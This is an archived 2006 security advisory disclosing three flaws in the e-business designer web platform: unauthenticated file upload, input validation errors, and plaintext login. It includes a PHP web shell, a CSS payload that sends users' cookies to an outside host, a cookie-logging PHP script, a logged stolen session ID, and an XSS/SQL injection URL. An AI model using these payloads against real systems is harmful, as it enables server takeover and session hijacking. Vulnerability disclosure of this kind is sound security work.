Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:12642
HistoryMay 12, 2006 - 12:00 a.m.

Several flaws in e-business designer

2006-05-1200:00:00
vulners.com
13

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

      ===============================
               - Advisory -
      ===============================

Tittle: Several flaws in e-business designer
Risk: Critical
Date: 03.May.2006
Author: Pedro Andújar <pandujar @ selfdefense.es>
URL: http://www.digitalsec.es
http://www.514.es/

.: [ INTRO ] :.

eBD is an Integrated Development Environment for the development and publication of web
sites,
web applications and web services (Applications). In about 60% of the time typically
required,
Designer expedites the creation of Applications based on an open architecture, accepted web
standards and without the need for in-depth knowledge about web technology.

With eBD, you can develop any type of web application, web site or web service - intranet,
extranet, eCommerce, eLearning portals, etc. You can deploy legacy applications on the web
without re-coding the original application.

eBusiness Designer has three distinct functional layers - Presentation, Data and Back
Office.
This structure permits a non-technical staff member to update any Application in real time,
preview and publish it.

.: [ TECHNICAL DESCRIPTION ] :.

During the development of some evaluation tasks against applications managed by the
e-businness
designer software, several bugs were discovered:

.: [ BUG #1 ]

Risk : High
Description : Ability to upload files to the system without authentication
Affected versions : <= v3.1.4

Access to a web edition tool without authentication, allow remote users to upload files
without
restriction. This vulnerability can be achieved accessing the following URL:

http://ebdsite/common/html_editor/image_browser.upload.html

The file can be placed in different folders of the application, usually it can be easily
found
exploring the web source code and searching the images folder. Another useful tool to
find the file is:

http://edbsite/common/html_editor/image_browser.html

Additionally we have the html edition tool, whose parameters are:

function abre_html_editor(form_name,name,ancho,alto,idvista,atributo,source,links)
{
var argumentos = "form_name=" + form_name + "&name=" + name + "&source=" + source +
"&ebd_links=" + links;

    if &#40;idvista != null &amp;&amp; idvista &gt; 0&#41;
            argumentos += &quot;&amp;usar_vista=&quot; + idvista;
    
    if &#40;atributo != null &amp;&amp; atributo.length &gt; 0&#41;
            argumentos += &quot;&amp;usar_atributo=&quot; + atributo;

    var href = &quot;/common/html_editor/html_editor.html?&quot;

The result of this vulnerability consists in the ability of upload and/or modify files in
the system, giving the possiblity of attack both the server and web users.

These kind of attacks were succeded against a server running 2.3.3 version of eBD:

Server side exploiting:

  • Code execution in the system using php/asp…shells : If the system has php installed,
    command execution is possible through a web browser, uploading a file with the following
    content:

      ----------------dsr.php-----------------
      &lt;? 
    
      $out = shell_exec&#40;$_GET[&quot;cmd&quot;].&quot; 2&gt;&amp;1&quot;&#41;;
    
      echo &quot;&lt;pre&gt;$out&lt;/pre&gt;&quot;;
    
       ?&gt;
      ----------------dsr.php-----------------
    

Then, queries like "http://edbsite/path/to/dsr.php&amp;cmd=uname -a ; id" can be executed.

Client side exploiting:

  • Cross Site Scripting (XSS), in applications with authentication methods: Uploaded files with
    "image_browser.upload.html" can overwrite application files, so it will be possible to
    include a
    javascript code in a cascade style sheet (.css), which will send us the cookie of users who
    have
    logged, through a get request to our server:

background: url('javascript:document.images[1].src="http://514.es/514.php?&quot;+document.cookie;&#39;&#41;
repeat-x bottom;

We can place a script in our server to log cookies we receive, even this job is already
done by the access_log.

XXX.XXX.XXX.XXX - - [25/Apr/2006:11:04:22 +0200] "GET
/514.php?SESSION_ID=133844640fde6ef7bd6a7a9e1c5c4651
HTTP/1.1" 200 316 "http://ebdsite/?go=M8z23wqOtZxBnlKqIOyVzEdlo87WFfqH8prlq33Nju/nsQ==&quot;
"Mozilla/4.0
(compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)"

      Possible script:

      -----------------514.php------------------
      &lt;?
      $log = &quot;/var/tmp/debug.log&quot;;
      $img_type = &quot;png&quot;;

      function load_png&#40;$img_path&#41; {
              $img = imagecreatefrompng &#40;$img_path&#41;;
              if &#40;$img&#41; {
                    return $img;
              }
      }

      function load_gif&#40;$img_path&#41; {
              $img = imagecreatefromgif &#40;$img_path&#41;;
              if &#40;$img&#41; {
                    return $img;
              }
      }

      function load_jpg&#40;$img_path&#41; {
              $img = imagecreatefromjpeg &#40;$img_path&#41;;
              if &#40;$img&#41; {
                      return $img;
              }
      }

      $init = &quot;Connection from &quot;.$_SERVER[&#39;REMOTE_ADDR&#39;];
      file_put_contents&#40;$log, &quot;$init&#92;n&quot;, FILE_APPEND&#41;;
      foreach &#40;$_SERVER as $key =&gt; $srv&#41; {
              file_put_contents&#40;$log, &quot;$key=$srv&#92;n&quot;, FILE_APPEND&#41;;
      }
      if &#40;isset &#40;$_GET&#41; &amp;&amp; count&#40;$_GET&#41; &gt; 0&#41; {
              file_put_contents&#40;$log, &quot;GET params&#92;n&quot;, FILE_APPEND&#41;;
              foreach &#40;$_GET as $key =&gt; $srv&#41; {
                      file_put_contents&#40;$log, &quot;$key=$srv&#92;n&quot;, FILE_APPEND&#41;;
              }
      }
      if &#40;isset &#40;$_POST&#41; &amp;&amp; count&#40;$_POST&#41; &gt; 0&#41; {
              file_put_contents&#40;$log, &quot;POST params&#92;n&quot;, FILE_APPEND&#41;;
              foreach &#40;$_POST as $key =&gt; $srv&#41; {
                      file_put_contents&#40;$log, &quot;$key=$srv&#92;n&quot;, FILE_APPEND&#41;;

              }
      }
      file_put_contents&#40;$log, &quot;&#92;n&quot;, FILE_APPEND&#41;;

      if &#40;$img_type == &quot;png&quot;&#41; {
              Header&#40;&quot;Content-type: image/png&quot;&#41;;
              ImagePNG&#40;load_png&#40;&quot;imgs/514.png&quot;&#41;&#41;;
      }

      if &#40;$img_type == &quot;jpg&quot;&#41; {
              Header&#40;&quot;Content-type: image/jpeg&quot;&#41;;
              ImageJPEG&#40;load_jpg&#40;&quot;imgs/514.jpg&quot;&#41;&#41;;
      }

      if &#40;$img_type == &quot;gif&quot;&#41; {
              Header&#40;&quot;Content-type: image/gif&quot;&#41;;
              ImageGIF&#40;load_gif&#40;&quot;imgs/514.gif&quot;&#41;&#41;;
      }

      ?&gt;
      -----------------514.php------------------

Adicionally was checked that there is no max concurrent sessions number for each user.
This make easier this kind of attacks, because the cookies obtained by this way can be used
as the same time that the legitimate user.

.: [ BUG #2 ]

Risk : High
Description : Imput validation error
Affected Versions : v2.3.3 without auth
v3.1.4 require admin access

In some parameters that are parsed by eBD, inclusion of special characters is not checked, so
XSS or code injection attacks are possible.

http://ebdsite/admin/form_grupo.html?id=&lt;script&gt;alert&#40;&quot;dSR&quot;&#41;;&lt;/script&gt;

This query will give us an "alert" msg, and the server will response with a SQL message,
including the path
of the application:

ERROR en: SELECT * FROM Contenido C WHERE C.idContenido=&#39; AND 1=1 AND &#40; idArea IS NULL OR

idArea=3 )
– You have an error in your SQL syntax. Check the manual that corresponds to your MySQL
server version
for the right syntax to use near '' AND 1=1 AND ( idArea IS NULL OR idArea=3 )' at line 1 at
/usr/eBD/ebd_modules/eBD/DB/DBMySQL.pm line 179. Stack:
[/usr/eBD/ebd_modules/eBD/DB/DBMySQL.pm:179],
[/usr/eBD/ebd_modules/eBD/DB/DBDriver.pm:377], [/usr/eBD/ebd_modules/eBD.pm:772],
[/usr/eBD/ebd_modules/eBD/Contenido.pm:453],
[/usr/eBD/htdocs/transhotel/archivos/dhandler:28],
[/usr/eBD/htdocs/ebdsite/archivos/autohandler:3]

Same error on version 2.3.3 of eBD with the following path requests :

    * http://ebdsite/archivos/&#39;  or
    * http://ebdsite/files/&#39;

.: [ BUG #3 ]

Risk : Medium
Description : Clear password on auth
Affected Versions : <= v3.1.4

In the authentication step, through http (by default) instead of https, username and password
fields are in plain text during posting:

zona=inicial&username=DSR&password=514&entrar=Login

.: [ CHANGELOG ] :.

  • 24/Apr/2006: - Several flaws discovered, during the evaluation of the software installed
    by a e-business designer customer.

  • 25/Apr/2006: - Explotation of these discovered flaws.
    - Asked for security contact at eBD.

  • 26/Apr/2006: - Rough draft of this document finished.
    - Advisory sent to <[email protected]>.
    - Commentaries of eBD. Affected versions of each flaw cleared.

  • 27/Apr/2006: - Some changes in this text.

  • 02/May/2006: - Oasyssoft releases emergency patch for file uploading bug.
    (http://lists.oasyssoft.com/ebd-devel/200605/msg00000.html&#41;

  • 03/May/2006 - New comments and changes in the adv.

  • 10/May/2006: - Public disclosure.

.: [ SOLUTIONS ] :.

(Waiting for final release on early June)

  • Others:
    • Disable the directory listing in the web server.
      • Force the navigation through https.
      • Disable php and/or asp support in the system if it is not required.
      • Apply firewall solutions or ModSecurity related.
      • Delete test accounts and check for strong passwords.

.: [ ACKNOWLEDGEMENTS ] :.

Thanks To A. Tarascó and J. Olascoaga for Xss help.
Thanks to Gandalfj for the translation.
Greetings to bRaCu and ppl of !dSR, 514, haxorcitos and dlnd-0.

.: [ REFERENCES ] :.

[+] [eBD] e-business designer
http://www.ebdsoft.com/

[+] Cross Site Scripting FAQ
http://www.cgisecurity.com/articles/xss-faq.shtml

[+] NGS Advanced Sql Injection
http://www.ngssoftware.com/papers/advanced_sql_injection.pdf

[+] ModSecurity (Open source web application firewall)
http://www.modsecurity.org/

[+] Guide to Building Secure Web Applications
http://www.owasp.org/documentation/guide/guide_about.html

[+] !dSR - Digital Security Research
http://www.digitalsec.net/

[+] 514 - 77
http://www.514.es/

                -=EOF=-

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.3 (GNU/Linux)

iD8DBQFEYS506RyAqE6uiLQRAu5jAKChfRoY2NRxEyEUwm/glbQunkgUYACggsey
BkJxd4e5M6WlaT0iLvcm/B0=
=ohKq
-----END PGP SIGNATURE-----